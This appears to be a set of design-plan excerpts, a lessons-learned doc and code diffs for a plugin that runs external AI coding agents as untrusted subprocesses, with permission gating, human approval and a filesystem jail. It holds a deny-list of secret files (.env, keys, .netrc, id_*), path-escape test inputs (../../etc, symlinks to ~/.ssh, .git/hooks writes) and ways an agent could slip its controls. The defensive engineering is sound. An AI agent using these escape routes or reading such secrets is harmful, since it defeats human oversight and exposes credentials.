- `plugins/fusion-plugin-acp-runtime/src/control-handler.ts` (new) — pure resolver `(toolCall, gate) → decision`; defines the narrow local `PermissionGate` interface (the `permissionPolicy` + closures it uses), structurally satisfied by `AgentActionGateContext` (KTD3)
- `plugins/fusion-plugin-acp-runtime/src/provider.ts` (modify) — implement `Client.requestPermission` using the session's persisted `actionGateContext`; track in-flight permission requests; drain on `session/cancel`
- `plugins/fusion-plugin-acp-runtime/src/__tests__/control-handler.test.ts`, `provider-permission.test.ts` (new)
**Approach:** **Classify per call, not per preset (KTD3a — security-critical).** Map the incoming `toolCall.kind` to a gate category (`file_write_delete`, `command_execution`, `network_api`, …) and evaluate it against the live policy via `evaluateAgentActionGate` + `resolveGateOutcome` (from the persisted `actionGateContext`). Outcome handling:
- `allow` → select the **`allow_once`** option (never `allow_always`/`reject_always` — Fusion must re-evaluate every request and never delegate a persisted blanket grant to the untrusted agent; Risk S2). If the expected `*_once` kind is absent from the agent-supplied `options`, fall back to reject — never silently up-grade to an `*_always` option.
- `block` → select the `reject_once` option.
- `wait-for-approval` → run the HITL flow: `createApprovalRequest` → `pauseForApproval` → await the engine's decision (resume via the approval store) → map the decision back to `allow_once` / `reject_once`. On timeout/dismiss, answer `{ outcome: "cancelled" }`. Reuse a prior decision for an identical call via `findApprovalByDedupeKey`.
- **No human channel available** (gate context absent, or a `require-approval` category with no resolvable approver): **default-deny** with a logged reason. Auto-allow is never the fallback.
Respond `{ outcome: { outcome: "selected", optionId } }` or `{ outcome: { outcome: "cancelled" } }`. Maintain a set of pending permission promises; on `session/cancel` (and on subprocess exit), resolve every pending request with `{ outcome: "cancelled" }` before/while tearing down (research pitfall: an in-flight `requestPermission` can arrive after cancel; failing to answer deadlocks the agent).
**Execution note:** This is the security floor for an untrusted subprocess — implement the per-category classification and default-deny test-first; do not ship a preset-level shortcut.
**Patterns to follow:** `plugins/fusion-plugin-droid-runtime/src/control-handler.ts` (pure decision function); `packages/engine/src/agent-action-gate.ts` (`evaluateAgentActionGate`, `resolveGateOutcome`, the `kind`→category mapping); `packages/engine/src/pi.ts` `wrapToolsWithActionGate` for the evaluate→approve→resume shape; `docs/spawn-agent-approval-evaluation.md` (reuse the existing approval flow, don't build parallel infra).
**Test scenarios:**
- Default `unrestricted` policy but a `custom` rule that `block`s `command_execution`: a `command_execution`-kind tool call is **rejected** (per-category honored, not preset-level allowed). _(Covers Risk S1.)_
- A category set to `allow` → resolver selects the `allow_once` option; the `allow_always` option is **never** selected even when offered. _(Covers Risk S2.)_
- `require-approval` category with the HITL flow wired: creates an approval request, `requestPermission` blocks until the decision resolves; granted → `allow_once`, rejected/timeout → `reject_once`/`cancelled`.
- `require-approval` category with **no** resolvable approver / absent gate context → default-deny with logged reason (never auto-allow).
- A tool call with a **missing or unmappable `kind`** → mapped to the most-restrictive category and denied (not allowed), even under the default `unrestricted` preset.
- The `actionGateContext` HITL closures (`pauseForApproval`, `findApprovalByDedupeKey`, `markApprovalCompleted`) are optional on the interface — when absent, the `require-approval` branch default-denies rather than throwing.
- Dedupe: a repeated identical tool call reuses the prior approval decision via the dedupe key.
- An options list missing the expected `*_once` kind → safe fallback to reject, never an `*_always` option, no throw.
- Cancellation drain: two in-flight permission requests + `session/cancel` → both resolved with `{ outcome: "cancelled" }`; a request arriving *after* cancel is answered `cancelled` immediately.
---
### U6. Untrusted-input hardening: output bounds and string sanitization
**Goal:** Bound and sanitize everything the untrusted agent emits so a flooding or malicious agent cannot exhaust resources or inject into Fusion's logs/UI/paths.
**Requirements:** R3, R5
**Dependencies:** U4
**Files:**
- `plugins/fusion-plugin-acp-runtime/src/event-bridge.ts` (modify) — cumulative per-turn `session/update` byte/count caps; per-chunk size cap; truncate-and-flag beyond ceiling instead of unbounded buffering
- `plugins/fusion-plugin-acp-runtime/src/sanitize.ts` (new) — strip ANSI/control sequences from agent-supplied text/titles before logging or rendering; bound identifier length
- `plugins/fusion-plugin-acp-runtime/src/provider.ts` (modify) — never use agent-supplied `sessionId`/`toolCallId` as a filesystem path component without validation (relevant to U3 resume-file path)
- `plugins/fusion-plugin-acp-runtime/src/__tests__/event-bridge-bounds.test.ts`, `sanitize.test.ts` (new)
**Approach:** The agent is untrusted input; the high inactivity ceiling (KTD4) does **not** bound an *actively* flooding agent. Cap cumulative `session/update` volume and per-chunk size at the bridge (Risk S5); cap log volume written from agent text. Treat all agent-supplied strings (`title`, `kind`, plan text, `sessionId`, `toolCallId`, command lists) as untrusted: sanitize control/ANSI sequences before logging/rendering (Risk S7); bound identifier length; never interpolate an agent-supplied id into a filesystem path unvalidated.
**Patterns to follow:** `plugins/fusion-plugin-droid-runtime/src/event-bridge.ts` (delta accumulation) for where the caps slot in.
**Test scenarios:**
- A `session/update` stream exceeding the per-turn byte cap is truncated-and-flagged; memory does not grow unbounded.
- An oversized single content chunk is capped.
- A tool `title` containing ANSI/control escapes is sanitized before it reaches the log/callback.
- An agent-supplied `sessionId` containing path separators is rejected/normalized before any resume-file path uses it.
- The `toolCallId` correlation map is bounded — a flooding agent supplying unbounded unique ids does not grow the map without limit (entries are capped/evicted, not just length-limited).
---
### U7. Client filesystem capabilities with a real path jail (`fs/read_text_file`, `fs/write_text_file`)
**Goal:** Let opted-in agents read/write within the task `cwd` behind a symlink-resolving path jail, with writes subject to the permission policy and a deny-list protecting secrets and git internals.
**Requirements:** R3 (capability surface), R4 (writes gated)
**Dependencies:** U2 (capabilities advertised only when enabled), U3 (session `cwd` + gate context), U5 (write-permission gating)
**Files:**
- `plugins/fusion-plugin-acp-runtime/src/fs-capabilities.ts` (new) — `readTextFile({ path, line?, limit? })`, `writeTextFile({ path, content })`
- `plugins/fusion-plugin-acp-runtime/src/path-jail.ts` (new) — dedicated `assertPathWithinCwd` helper (realpath + atomic open + deny-list); **not** `project-root-guard.ts`
- `plugins/fusion-plugin-acp-runtime/src/provider.ts` (modify) — register handlers on the `Client` impl only when the capability is enabled in settings
- `plugins/fusion-plugin-acp-runtime/src/__tests__/fs-capabilities.test.ts`, `path-jail.test.ts` (new)
**Approach:** Confinement uses the KTD6a jail, not lexical normalization alone: resolve the **real** path via `fs.realpath` (following symlinks), verify it sits within the realpath of session `cwd`, and perform the check and open atomically (`O_NOFOLLOW` final component or open-then-`fstat`) to close TOCTOU. Reject absolute paths, NUL bytes, and separator/encoding tricks. Apply the deny-list regardless of cwd membership: hard-reject writes to `.git/**`; deny or gate reads of secret patterns (`.env*`, `*.pem`, `*.key`, `.npmrc`, `.netrc`, `id_*`, `credentials`). `readTextFile` honors `line`/`limit` **and** a hard byte ceiling when `limit` is absent/huge (Risk S5); returns `{ content }`. `writeTextFile`: **default OFF** (KTD6) — only registered/advertised when settings enable it; enforce a max `content` size; route the write through the action gate as a `file_write_delete` category (U5) so `approval-required`/`locked-down` policies cover it; write atomically within `cwd`; returns `{}`. If a capability is disabled, the agent MUST NOT call it; a call returns a JSON-RPC error (never silently succeed).
**Execution note:** The jail is a security boundary — write `path-jail.ts` test-first, covering symlink escape and TOCTOU, not just `../`.
**Patterns to follow:** **not** `project-root-guard.ts` (it is a `.fusion`-suffix string check, not a path jail — KTD6a); model the deny-list/realpath approach on standard path-confinement practice and the action-gate category mapping in `packages/engine/src/agent-action-gate.ts`.
**Test scenarios:**
- Read within `cwd` returns content; `line`/`limit` window returns the requested slice; an unbounded read is capped at the hard ceiling.
- Lexical escape (`../../etc/...`) → typed `path_outside_cwd` error.
- **Symlink escape:** a symlink inside `cwd` pointing to `/etc` (or `~/.ssh`) is rejected by realpath resolution, not just `..` checks.
- **Git/secret protection:** write to `.git/hooks/pre-commit` is hard-rejected; read of `.env` is denied/gated.
- Write within `cwd` (capability enabled) persists and reads back; an oversized write is rejected.
- Write under `locked-down`/`approval-required` policy is gated through U5 (blocked or pending), not free.
- Capability misuse: fs disabled but the agent calls `fs/read_text_file` → JSON-RPC error, no read.
---
### U8. Packaging into the published CLI, dashboard surface, and integration evidence
**Goal:** Ship the plugin inside `@runfusion/fusion`, expose it consistently in the dashboard, and record the required third-party-integration evidence.
**Requirements:** R6, R7, R8
**Dependencies:** U1 (and is the integration cap for U2–U7)
**Files:**
- `pnpm-workspace.yaml` (already added in U1; verify)
- `packages/cli/tsup.config.ts` (modify) — **required, load-bearing:** add `"fusion-plugin-acp-runtime"` to the hardcoded `RUNTIME_PLUGIN_IDS` array (`:11-17`); the `onSuccess` loop only stages ids in this list — without it the plugin is never bundled. Do **not** add to `RUNTIME_PLUGINS_WITH_MCP_SCHEMA_SERVER` (`:19-22`) — no `.cjs` in v1 (KTD5)
- `packages/cli/package.json` `files` — **no change** (already globs `dist/plugins/**`)
- **Install path — committed: on-demand / experimental.** Add a `BUILTIN_PLUGINS` catalog entry in `packages/cli/src/commands/plugin.ts:28-73` with `experimental: true` (Droid-style), so the runtime is installed deliberately rather than auto-enabled. This is the right posture for the first integration that runs an untrusted callback-capable subprocess (KTD6b) — auto-install (Cursor-style `BUNDLED_PLUGIN_IDS`) is **not** used in v1. `getRuntimeById("acp")` makes it engine-selectable once installed; no `useDroidCli`-style toggle is needed.
- **Default-policy safety task (Risk S1):** because the shipped default is `unrestricted`, gate ACP-runtime selection behind an explicit permission-policy acknowledgement, or default the ACP runtime to `approval-required` in the dashboard. This is a **required** task of this unit, not advisory — it is the most likely first-run misconfiguration path. (Surface in the `settings-provider-card` / selection flow.)
- `packages/dashboard/src/routes.ts` `BUNDLED_PLUGIN_RUNTIMES` (`:61-89`, optional) — for pre-install dashboard visibility (Droid/Cursor omit it and appear only post-install)
- `docs/acp-contract.md` (new) — launch command, handshake-as-readiness, failure taxonomy (mirror `docs/cursor-cli-contract.md`)
- `plugins/fusion-plugin-acp-runtime/README.md` (new) — UPSTREAM evidence block
- `.changeset/<name>.md` (new) — `"@runfusion/fusion": minor`
- Tests: add a new `it(...)` block to `packages/cli/src/__tests__/bundle-output.test.ts` (mirror the Droid block at `:241-249`)
**Approach:** Bundling is **not** automatic via the workspace glob — the load-bearing edit is adding the plugin id to `RUNTIME_PLUGIN_IDS` in `tsup.config.ts`. The `package.json files` whitelist already covers `dist/plugins/**`, so no edit there. Install posture is committed to on-demand/experimental (above); the default-policy acknowledgement is a required safety task. No `mcp-schema-server.cjs` ships in v1 (KTD5). Record external-integration evidence in `README.md`/PROMPT.md: ACP upstream repo (`github.com/agentclientprotocol`), docs homepage (`agentclientprotocol.com`), the SDK release (`@agentclientprotocol/sdk` on npm), and the validation agent binary name (the SDK example agent) with a checksum or `upstream-pending-verification` marker — never invented.
**Execution note:** External-integration evidence is a blocking `AGENTS.md` requirement — populate it from verified sources, never fabricated URLs/binaries/hashes.
**Patterns to follow:** `plugins/fusion-plugin-droid-runtime` packaging; `packages/cli/src/commands/plugin.ts` `BUILTIN_PLUGINS`; `docs/cursor-cli-contract.md`; `.changeset/*.md` format.
**Test scenarios:**
- Bundle test: a built CLI includes `dist/plugins/fusion-plugin-acp-runtime/` and it resolves via `getRuntimeById("acp")`.
- Install-path test: the `BUILTIN_PLUGINS` catalog entry is present (`experimental: true`) so the runtime is installable on demand.
- Default-policy safety: selecting the ACP runtime without an explicit policy acknowledgement does **not** silently run under `unrestricted` — the acknowledgement gate or `approval-required` default applies. _(Covers Risk S1.)_
- Changeset present and targets `@runfusion/fusion` only (not the private `@fusion/*` packages).
- Test expectation: none for the `docs/acp-contract.md` / README evidence (documentation) — beyond a presence check in the integration-evidence lint if one exists.
---
## Scope Boundaries
### In scope
- ACP **client** integration: drive external ACP agents (U1–U8).
- Generic validation against the SDK example agent.
- Per-category permission gating (consuming the engine's existing `actionGateContext`) with HITL approval and default-deny floor.
- `fs/read|write` client capabilities behind a realpath path-jail, writes default-OFF and policy-gated.
- Untrusted-input bounds and sanitization.
### Deferred to Follow-Up Work
- **Forwarding Fusion's custom tools to ACP agents via MCP** (`session/new` `mcpServers` populated from Fusion's pi-tools using the `mcp-config.ts` + `mcp-schema-server.cjs` schema-server machinery). v1 sends empty `mcpServers`. _(Confirmed deferral.)_ **Capability caveat:** v1 ACP agents operate over the worktree (code work via their own tools + the gated `fs` capabilities) but cannot reach Fusion's orchestration pi-tools — they reach feature parity with the bespoke runtimes only once this lands. **Security precondition for lifting the deferral:** before forwarding any `mcpServers` to the untrusted agent, define whether server configs may carry bearer tokens/OAuth credentials (and, if so, a scope-limited credential mechanism), a minimum-fields-forwarded principle, and failure behavior for an unavailable/malicious MCP server.
- **Terminal client capabilities** (`terminal/create`, `terminal/output`, `terminal/wait_for_exit`, `terminal/kill`, `terminal/release`).
- **Dashboard `uiSlots` cards** (settings/onboarding/recommendation) mirroring Droid. v1 ships the runtime selectable without dashboard cards; the cards are polish.
- **A multi-agent ACP registry** (declaring several ACP agents as `customProviders` entries via `packages/engine/src/custom-providers.ts` + `customProviderRegistryKey`). v1 follows the single-runtime `definePlugin` shape; a per-agent registry is a later extension.
- **Capturing a `docs/solutions/`-style learning** documenting the first persistent bidirectional JSON-RPC transport in the codebase, once it lands.
### Outside this product's identity
- **The ACP *server*/agent direction** — Fusion exposing itself as an ACP agent so external editors (Zed, JetBrains) drive Fusion. This inverts the orchestration model and is a separate initiative.
---
## System-Wide Impact
- **No shared-contract change.** The permission integration consumes the engine's **existing** `AgentRuntimeOptions.actionGateContext` (`packages/engine/src/agent-runtime.ts:103`), already populated at every run call site and already funneled to runtimes via `createResolvedAgentSession` (`agent-session-helpers.ts:335`). No other runtime (Droid, Cursor, Hermes, OpenClaw, Paperclip) is touched, and `AgentRuntimeOptions` is not modified — so the earlier "touches every runtime" risk does not apply. The plugin couples only to a narrow local `PermissionGate` interface, not `@fusion/engine` internals.
- **Registration lists that must be edited (not auto-discovered).** Shipping a runtime plugin requires explicit entries beyond the workspace glob: `RUNTIME_PLUGIN_IDS` in `packages/cli/tsup.config.ts` (bundling), the chosen install list (`BUILTIN_PLUGINS` in `packages/cli/src/commands/plugin.ts`, or `BUNDLED_PLUGIN_IDS` in `bundled-plugin-install.ts` + `packages/dashboard/src/routes.ts`), and optionally `BUNDLED_PLUGIN_RUNTIMES` for pre-install dashboard visibility. Enumerated in U8.
- **New trust boundary.** This is the first integration that runs an **untrusted external subprocess that calls back into Fusion** (permissions, filesystem). The security floor (U5 per-category gate, U6 input bounds, U7 path jail, KTD6b env allow-list) is load-bearing, not polish — see Risks S1–S7.
- **Deliberate adoption-vs-safety bet.** ACP is positioned as the highest-leverage move for the strategy's "ecosystem breadth" track, yet v1 ships **experimental / on-demand** (U8) — a discovery barrier that suppresses the very metric (unique plugins active per user) the integration exists to move. This is an intentional security-first bet for v1: validate the trust-boundary floor against the SDK example agent plus one real agent, then promote ACP to a more discoverable install posture. The trigger and owner for that promotion are a follow-up decision, not a v1 deliverable.
---
## Risks & Dependencies
- **S1 — Default `unrestricted` policy → auto-allow of an untrusted subprocess [CRITICAL].** Fusion's shipped default is `unrestricted` (allow-all). A preset-level permission mapping would auto-approve every tool call the moment a user selects the ACP runtime. _Mitigation:_ U5 classifies **per call** via `evaluateAgentActionGate` and honors `rules[category]`, never the preset id; `require-approval` with no human channel **default-denies** (KTD3a). Recommend the dashboard default the ACP runtime to `approval-required`, or gate selection behind an explicit policy acknowledgement.
- **S2 — `allow_always` persists a blanket grant inside the agent [HIGH].** Selecting an `*_always` ACP option delegates the policy decision to untrusted code and loses Fusion's per-call interception. _Mitigation:_ U5 selects `allow_once`/`reject_once` only; an absent `*_once` option falls back to reject, never `*_always`.
- **S3 — Filesystem path-confinement bypass [HIGH].** Symlink escape, TOCTOU, and secrets/git-internals inside `cwd` defeat a naive prefix check; `project-root-guard.ts` is not a jail. _Mitigation:_ U7/KTD6a realpath jail + atomic open + `.git`/secrets deny-list, with symlink-escape and `.git/hooks` tests.
- **S4 — fs capabilities default-ON would over-grant [HIGH].** _Mitigation:_ KTD6 — writes default OFF, advertisement config-gated, `fs/write` routed through the action gate as `file_write_delete`.
- **S5 — Unbounded agent output / oversized fs content [MEDIUM].** The high inactivity ceiling does not bound an *actively* flooding agent. _Mitigation:_ U6 caps `session/update` volume; U7 caps read/write byte sizes.
- **S6 — Agent native syscalls are unmediated [MEDIUM].** ACP permissions + fs jail constrain only protocol-mediated actions; the agent can spawn processes / reach the network directly. _Mitigation:_ KTD6b — env allow-list in `cli-spawn.ts`; document the real trust boundary; OS-level sandboxing recommended (deferred).
- **S7 — Untrusted agent strings (titles, ids, paths) [MEDIUM].** Log/ANSI injection; ids used as map/path keys. _Mitigation:_ U6 sanitizes control/ANSI sequences and validates ids before any filesystem use.
- **S8 — `authenticate` credential handling [LOW-MED].** _Mitigation:_ U2 surfaces interactive auth to the user, redacts tokens from stderr/logs.
- **External dependency maturity.** `@agentclientprotocol/sdk` is young (v0.24.x). _Mitigation:_ pin the version; protocol version is a stable integer (`1`); validate against the SDK's example agent so CI needs no third-party binaries.
- **Cancellation/permission deadlock.** An unanswered in-flight `requestPermission` after `session/cancel` hangs the agent. _Mitigation:_ explicit pending-request drain (U5), test-covered.
- **Agent-specific startup quirks.** Gemini-on-macOS OAuth prompts; Claude-adapter `session/new` stalls. _Mitigation:_ bounded `initialize`/`session/new` timeouts + typed failure taxonomy (U2).
- **Streaming ordering.** `session/prompt` resolves only after all updates are delivered; plan updates are full-replace. _Mitigation:_ drain-before-done (U3), replace-not-append (U4), test-covered.
- **Packaging/bundle drift.** A plugin missing from `RUNTIME_PLUGIN_IDS` is silently never bundled. _Mitigation:_ the U8 bundle-output test asserts the plugin's presence in `dist/plugins/`.
---
## Alternatives Considered
- **Hand-roll the JSON-RPC transport instead of using the SDK.** Rejected (KTD2): duplicates a maintained dependency, and the newline-delimited framing + bidirectional call handling is exactly what the SDK's `ClientSideConnection`/`ndJsonStream` provide. Revisit only if the SDK proves unmaintained.
- **Build as a `packages/acp-cli` package mirroring `pi-claude-cli`.** Rejected (KTD1): that pattern is now a thin shim; the runtime-plugin shape is canonical and gives discovery + dashboard parity for free.
- **Per-agent provider registration (one provider id per ACP agent) up front.** Deferred: a single `runtimeId: "acp"` runtime is enough for v1; a multi-agent registry via `customProviders` is the natural follow-up if users need several ACP agents side by side.
- **Add an `onPermissionRequest?` callback to the shared `AgentRuntimeOptions` contract.** Rejected (KTD3): the contract **already** carries `actionGateContext`, already populated and threaded to runtimes — a new callback would be a redundant second channel to the same approval store and would needlessly touch the interface every runtime consumes. The ACP plugin consumes the existing field instead.
- **Pass the gate via the plugin runtime factory `ctx`.** Rejected: `PluginContext` is built once *per plugin*, not per run; the gate context is per-run/per-session. Threading it through `ctx` is a lifetime/scope mismatch. Per-session `options.actionGateContext` is the correct vehicle.
- **Preset-level permission mapping (map the policy preset directly to an ACP outcome).** Rejected (KTD3a / Risk S1): the default preset is `unrestricted`, so this silently auto-allows an untrusted subprocess and ignores per-category `block` rules. Per-call category classification is the v1 floor, not a deferred enhancement.
---
## Sources & Research
- **ACP protocol & SDK** (external, load-bearing for KTD2/KTD5/KTD6 and U2–U5): agentclientprotocol.com (introduction, schema, transports, initialization, tool-calls, agent-plan); `@agentclientprotocol/sdk` (npm, Apache-2.0, `ClientSideConnection`, `ndJsonStream`, `PROTOCOL_VERSION`); `github.com/agentclientprotocol/typescript-sdk`; validation agents — SDK example echo agent (CI), `@agentclientprotocol/claude-agent-acp` and `gemini --acp` (manual e2e).
- **Repo patterns** (local): `plugins/fusion-plugin-droid-runtime/` (canonical runtime-plugin shape, module split, `uiSlots`); `plugins/fusion-plugin-cursor-runtime/`; `packages/engine/src/runtime-resolution.ts` (`getRuntimeById`, factory wrapping); `plugins/fusion-plugin-droid-runtime/src/types.ts:110-135` (`AgentRuntime`/`AgentRuntimeOptions`); `packages/engine/src/agent-action-gate.ts`, `packages/core/src/agent-permission-policy.ts`, `packages/core/src/approval-request-store.ts` (permission/approval surfaces); `packages/cli/tsup.config.ts` + `packages/cli/package.json` `files` (bundling); `docs/cursor-cli-contract.md`, `docs/PLUGIN_AUTHORING.md` §9, `docs/spawn-agent-approval-evaluation.md`.
- **Conventions** (`AGENTS.md`): external-integration evidence (R8/U8), changeset rules (`@runfusion/fusion: minor`), publish/bundle model, sibling `__tests__/` test layout.

View File

@@ -0,0 +1,90 @@
---
category: architecture-patterns
module: fusion-plugin-acp-runtime
date: 2026-06-03
problem_type: architecture_pattern
component: tooling
severity: high
applies_when:
- "Integrating a new external coding agent or agent protocol into Fusion"
- "Building anything that holds a long-lived bidirectional JSON-RPC peer over stdio"
- "Running an untrusted subprocess that can call back into Fusion (permissions, filesystem)"
tags:
- acp
- agent-client-protocol
- runtime-plugin
- json-rpc
- untrusted-subprocess
- security-floor
- path-jail
related_components:
- development_workflow
- testing_framework
---
# Integrating a persistent bidirectional JSON-RPC agent (the ACP runtime pattern)
## Context
`plugins/fusion-plugin-acp-runtime` (PR #1354, 2026-06) was the first integration in this codebase that holds a **persistent, bidirectional JSON-RPC peer** over stdio. Every prior agent integration (droid, cursor, hermes, openclaw, pi-claude-cli) is one-shot: write one NDJSON turn, read stdout, force-kill. ACP inverts part of the relationship — Fusion spawns the agent, but the agent **calls back into Fusion mid-turn** (`session/request_permission`, `fs/read_text_file`, `fs/write_text_file`). That makes the agent untrusted *input* on every channel, and several hard-won rules from this build will apply to any future integration with the same shape.
## Guidance
**1. The canonical integration shape is a runtime plugin, not a `packages/*-cli` package.**
`packages/pi-claude-cli` / `droid-cli` are legacy shims. New agent integrations live in `plugins/fusion-plugin-<name>-runtime` using `@fusion/plugin-sdk`'s `definePlugin` with a `runtime: { metadata: { runtimeId }, factory }` block, implementing the `AgentRuntime` interface (`createSession` / `promptWithFallback` / `describeModel` / `dispose`). The engine resolves it via `getRuntimeById(runtimeId)` once installed.
**2. Engine lifecycle truths (verified against the engine, not docs):**
- The engine's `AgentRuntimeOptions` (`packages/engine/src/agent-runtime.ts`) **already carries `actionGateContext`** — populated at every run call site and funneled through `createResolvedAgentSession`. Consume it **structurally** via a narrow plugin-local interface; never import `@fusion/engine` and never add a parallel permission channel to the shared contract.
- There is **no `AbortSignal`** in the runtime contract. Teardown enters via an **unawaited synchronous `dispose()`** (StuckTaskDetector, executor timeout) plus the process-registry kill. Design teardown so the registry SIGKILL is the authoritative no-orphan/no-deadlock guarantee; any graceful protocol cancel (`session/cancel` + pending-request drain) is opportunistic. Register `process.on("exit", killAllProcesses)`.
- Bundling is **not automatic**: a new runtime plugin must be added to `RUNTIME_PLUGIN_IDS` in `packages/cli/tsup.config.ts` (or it silently never ships) and to an install list (`BUILTIN_PLUGINS` for on-demand, `BUNDLED_PLUGIN_IDS` for auto-install), plus `pnpm-workspace.yaml`.
**3. Security floor for an untrusted callback-capable subprocess:**
- **Per-category permission gating, never per-preset.** The shipped default policy preset is `unrestricted` (every category → allow). A preset-level shortcut auto-approves everything the moment the runtime is selected. Classify each call's kind into a category and read `permissionPolicy.rules[category]`; add an explicit acknowledgement setting before honoring blanket allows on sensitive categories.
- Select `allow_once` only — never `allow_always`/`reject_always` (a persisted grant inside untrusted code loses per-call interception). Unmappable/missing kinds, missing gate/policy, and HITL-without-a-readable-decision all default-deny. Require **both** `pauseForApproval` AND `findApprovalByDedupeKey` before creating an approval request — otherwise a human approval is silently discarded and a pending record is orphaned.
- **Filesystem jail = realpath, not string checks.** `project-root-guard.ts` is a suffix check, not a jail. Use realpath-within-realpath(cwd), `lstat` the final component for new files, `O_NOFOLLOW` open, and **truncate only after post-open re-validation** (passing `O_TRUNC` into open() truncates an escaped target before validation — write-path TOCTOU). Deny-list secrets and `.git/**` by basename regardless of cwd membership. Stat-gate reads (a full `readFile` before a byte ceiling is an OOM vector).
- **Bound everything the agent emits**, including the channels that don't look like output: per-turn + per-chunk caps on text/thinking, ANSI/control stripping, bounded identifier lengths and correlation maps, and **plan/structured events** (entry size was bounded but entry *count* wasn't — 1,000 × 64KB entries bypassed the per-turn budget). Redact stderr across chunk boundaries, not per-chunk (secrets split across `data` events evade per-chunk regexes). Build the subprocess env from an allow-list, never inherited `process.env`.
**4. Per-turn bridge state must actually reset per turn.** Anything accumulated per "turn" (output budgets, cap-flag latches, tool-call correlation maps) needs an explicit `reset()` invoked at the top of each prompt — a latch that never resets silently suppresses all output for the rest of the session after one flood. Write a two-turns-through-the-same-handler test; single-turn tests cannot catch it.
**5. The installed SDK's types are authoritative over docs/research.** Verify a young SDK's exports with a smoke-import test at scaffold time (a missing export is a day-one blocker, not a late surprise), and read the generated `.d.ts` for shapes: research/docs said `session/update` used `content_chunk`/`tool_call_started`; the real SDK uses `agent_message_chunk`/`tool_call`/`tool_call_update`, and `plan_update` carries a `plan` field, not `entries` (the wrong-shape cast silently no-op'd).
**6. Test fixtures for bidirectional protocols must be race-proof.** JSON-RPC notifications are dispatched concurrently with suspended request handlers. A fixture that registers a cancellable hang *after* an awaited write loses the race on loaded CI runners (cancel lands first, no-ops, prompt hangs forever). Record a pending-cancel flag so resolution is order-independent — never rely on a `setImmediate` tick for ordering.
## Why This Matters
The one-shot integrations never needed any of this: they hold no server→client channel, no long-lived session state, and their kill-after-turn lifecycle hides teardown bugs. A bidirectional peer fails in new ways — permission deadlocks on cancel, latched per-session state, TOCTOU in callback-served filesystem access, budget bypasses through structured events — and three of those shipped as P1s caught only by adversarial review, not by 170+ passing unit tests. The next protocol-shaped integration (MCP-server hosting, a future agent protocol) inherits this checklist instead of rediscovering it.
## When to Apply
- Adding any new agent runtime to Fusion (use the plugin shape + wiring checklist in §1–2).
- Any subprocess that can *call back* into Fusion — apply the full §3 security floor, not just spawn hardening.
- Any streaming bridge with per-turn accounting (§4) or any young/pinned SDK dependency (§5).
- Writing test fixtures for request/notification protocols (§6).
## Examples
Truncate-after-validate (write-path TOCTOU, `path-jail.ts` / `fs-capabilities.ts`):
```ts
// WRONG: O_TRUNC truncates an escaped target BEFORE re-validation
const h = await open(p, O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW);
// RIGHT: open without truncate, re-validate realpath, then truncate via the fd
const h = await openWithinCwd(p, cwd, O_WRONLY | O_CREAT); // re-validates inside
await h.truncate(0);
```
Per-category floor, never preset (`control-handler.ts`):
```ts
// WRONG: preset shortcut — default preset is `unrestricted` ⇒ auto-approve everything
if (policy.preset === "unrestricted") return allow();
// RIGHT: classify the call, read the category rule, escalate blanket allows
const category = classifyToolKind(toolCall.kind); // unmappable → DENY
const disposition = effectiveDisposition(category, gate, { // allow on sensitive
allowUnrestricted, // category escalates to
}); // approval unless acked
```
Reference implementation: `plugins/fusion-plugin-acp-runtime/` (184 tests), plan with full rationale at `docs/plans/2026-06-02-002-feat-acp-client-integration-plan.md`, contract at `docs/acp-contract.md`.

View File

@@ -260,6 +260,23 @@ describe("CLI bundle output", () => {
expect(manifest.name?.length).toBeGreaterThan(0);
});
it("dist/plugins/fusion-plugin-acp-runtime/ is staged with the acp runtime manifest", () => {
const stagedRoot = join(cliRoot, "dist", "plugins", "fusion-plugin-acp-runtime");
const manifestPath = join(stagedRoot, "manifest.json");
expect(existsSync(manifestPath)).toBe(true);
const manifest = JSON.parse(readFileSync(manifestPath, "utf-8")) as {
id?: string;
runtime?: { runtimeId?: string };
};
expect(manifest.id).toBe("fusion-plugin-acp-runtime");
// The runtime is selected by runtimeId; assert it is "acp".
expect(manifest.runtime?.runtimeId).toBe("acp");
expect(existsSync(join(stagedRoot, "bundled.js"))).toBe(true);
// v1 ships no mcp-schema-server.cjs (MCP forwarding deferred, KTD5).
expect(existsSync(join(stagedRoot, "mcp-schema-server.cjs"))).toBe(false);
});
it("pi-claude-cli source imports child process helpers from node:child_process", () => {
const processManagerSource = readFileSync(join(cliRoot, "dist", "pi-claude-cli", "src", "process-manager.ts"), "utf-8");

View File

@@ -57,6 +57,14 @@ export const BUILTIN_PLUGINS: BuiltinPluginCatalogEntry[] = [
path: "./plugins/fusion-plugin-droid-runtime",
experimental: true,
},
{
id: "fusion-plugin-acp-runtime",
name: "ACP Runtime",
description: "Runtime provider that drives any external Agent Client Protocol agent over JSON-RPC/stdio.",
category: "runtime",
path: "./plugins/fusion-plugin-acp-runtime",
experimental: true,
},
{
id: "fusion-plugin-dependency-graph",
name: "Dependency Graph",

View File

@@ -14,6 +14,7 @@ const RUNTIME_PLUGIN_IDS = [
"fusion-plugin-paperclip-runtime",
"fusion-plugin-cursor-runtime",
"fusion-plugin-droid-runtime",
"fusion-plugin-acp-runtime",
] as const;
const RUNTIME_PLUGINS_WITH_MCP_SCHEMA_SERVER = new Set([

View File

@@ -0,0 +1,66 @@
# @fusion-plugin-examples/acp-runtime
A Fusion runtime plugin that drives **any** external [Agent Client Protocol
(ACP)](https://agentclientprotocol.com) agent over JSON-RPC/stdio. One
integration unlocks every ACP-compatible agent (Gemini CLI, the Claude Code ACP
adapter, and any future agent that speaks the protocol) through the standard
protocol instead of a bespoke per-CLI integration.
Selected via `runtimeId: "acp"`. Installed on demand (`experimental`) — see the
Fusion plugin catalog (`fn plugin install fusion-plugin-acp-runtime`).
## Security posture
The ACP agent is an **untrusted subprocess** that calls back into Fusion for
permissions and filesystem access. This plugin enforces a defense-in-depth floor:
- **Per-category permission gating.** Each `session/request_permission` is
classified by tool kind into a Fusion action category and checked against the
live permission policy — never a preset shortcut. `allow_once` only (never a
persisted blanket grant). Unmappable kinds and missing policy default-deny.
- **Unrestricted-risk acknowledgement (`acpAllowUnrestricted`).** Because the
shipped default policy is `unrestricted` (allow-all), a blanket `allow` on a
*sensitive* category is escalated to approval unless the user explicitly sets
`acpAllowUnrestricted: true`. Prefer running the ACP runtime under an
`approval-required` policy.
- **Filesystem jail.** `fs/read_text_file` / `fs/write_text_file` are opt-in
(`acpFsRead` / `acpFsWrite`, writes default OFF), confined to the session
`cwd` by a real symlink-resolving jail (realpath + `O_NOFOLLOW`), with a
